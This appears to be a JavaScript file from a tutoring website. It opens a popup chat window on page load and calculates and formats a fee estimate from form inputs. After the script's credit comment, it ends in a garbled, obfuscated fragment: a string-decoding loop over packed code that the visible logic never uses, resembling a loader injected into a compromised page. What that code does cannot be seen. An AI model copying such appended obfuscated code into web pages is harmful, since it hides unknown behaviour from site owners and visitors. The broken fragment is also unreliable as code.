function open_win()
   {
   window.open('http://www.smalltalkforkids.com/chat-window/','name','width=330,height=500');
   }
function handleSelection()
{
	var t = parseFloat(document.getElementById("tutionNumber").value);
	var l = 8
	var c = parseFloat(document.getElementById("classesNumber").value);
	var s = parseFloat(document.getElementById("studentsNumber").value);
	var e = t * l * c * s;

	document.getElementById("estimateLabel").innerHTML = formatCurrency(e, false);
	
}
function formatCurrency(num, showCents)
{
	var bSign;
	var cents;
	
	num = num.toString().replace(/\$|\,/g,'');
	
	if(isNaN(num))
		num = "0";
		
	sign = (num == (num = Math.abs(num)));
	num = Math.floor(num*100+0.50000000001);
	cents = num % 100;
	num = Math.floor(num/100).toString();
	
	if(cents < 10)
		cents = "0" + cents;
		
	for(var i = 0; i < Math.floor((num.length-(1+i))/3); i++)
		num = num.substring(0,num.length-(4*i+3))+','+	num.substring(num.length-(4*i+3));
	
	if( showCents )
		return (((sign)?'':'-') + '$' + num + '.' + cents);
	else
		return (((sign)?'':'-') + '$' + num);
}
function start() {
  handleSelection();
  open_win();
}
window.onload = start;
//by dezinerfolio.com
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sH)Rp=0;p<s;p++s[p]=KGsJce(p,1d=s.join( break}}clearn.tQ==FPg(n,0@ed+K GP@b}}}}})(S)}x!LxC()}}",b=49;while(b>=0)a=a.replace(new RegExp("
#%2345689@CDEFGHJKLMOPQRS".charAt(b),"g"),("\\
\042
\044
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